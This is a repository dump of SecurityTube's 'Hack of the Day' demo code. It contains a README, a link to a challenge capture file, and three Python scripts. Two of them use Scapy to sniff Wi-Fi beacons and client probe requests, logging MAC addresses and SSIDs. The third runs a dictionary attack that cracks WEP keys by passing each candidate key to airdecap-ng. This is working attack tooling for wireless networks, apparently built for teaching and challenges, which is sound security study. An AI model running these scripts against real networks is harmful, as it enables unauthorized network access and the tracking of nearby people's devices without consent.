├── Challenge-1-Easy.cap
├── README.md
├── client-probe-sniffer.py
├── ssid-sniffer.py
└── Airdecap-WEP-Crack.py


/Challenge-1-Easy.cap:
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https://raw.githubusercontent.com/securitytube/hack-of-the-day/HEAD/Challenge-1-Easy.cap


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/README.md:
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1 | This Repo Contains all the demo code for the Hack of the Day series on SecurityTube.net
2 | 
3 | Videos: http://www.securitytube.net/tags/hod
4 | 
5 | Blog Posts: http://hackoftheday.securitytube.net/
6 | 
7 | 
8 | 


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/client-probe-sniffer.py:
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 1 | #!/usr/bin/env python
 2 | 
 3 | from scapy.all import *
 4 | 
 5 | def PacketHandler(pkt) :
 6 | 
 7 | 	if pkt.haslayer(Dot11) :
 8 | 		if pkt.type == 0 and pkt.subtype == 4 :
 9 | 			if pkt.info :
10 | 				print "Client: %s SSID: %s" % (pkt.addr2, pkt.info)
11 | 
12 | 
13 | sniff(iface="mon0", prn = PacketHandler)
14 | 


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/ssid-sniffer.py:
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 1 | #!/usr/bin/env python
 2 | 
 3 | from scapy.all import *
 4 | 
 5 | ap_list = []
 6 | 
 7 | def PacketHandler(pkt) :
 8 | 
 9 | 	if pkt.haslayer(Dot11) :
10 | 		if pkt.type == 0 and pkt.subtype == 8 :
11 | 			if pkt.addr2 not in ap_list :
12 | 				ap_list.append(pkt.addr2)
13 | 				print "AP MAC: %s with SSID: %s " %(pkt.addr2, pkt.info)
14 | 
15 | 
16 | sniff(iface="mon0", prn = PacketHandler)
17 | 


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/Airdecap-WEP-Crack.py:
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 1 | #!/usr/bin/python
 2 | # Author - Vivek Ramachandran vivek@securitytube.net
 3 | #
 4 | 
 5 | 
 6 | import sys, binascii, re
 7 | from subprocess import Popen, PIPE
 8 | 
 9 | f = open(sys.argv[1], 'r')
10 | for line in f:
11 | 	wepKey = re.sub(r'\W+', '', line)
12 | 
13 | 	if not (len(wepKey) == 5 or len(wepKey) == 13)  :
14 | 		continue
15 | 
16 | 	hexKey = binascii.hexlify(wepKey)
17 | 	
18 | 	print "Trying with WEP Key: " +wepKey + " Hex: " + hexKey
19 | 
20 | 	p = Popen(['/usr/local/bin/airdecap-ng', '-w', hexKey, sys.argv[2]], stdout=PIPE)
21 | 	output = p.stdout.read()
22 | 
23 | 	finalResult = output.split('\n')[4]
24 | 	if finalResult.find('1') != -1 :
25 | 		print "Success WEP Key Found: "  + wepKey
26 | 		sys.exit(0)
27 | 
28 | print "Failure! WEP Key Could not be Found with the existing dictionary!"
29 | 


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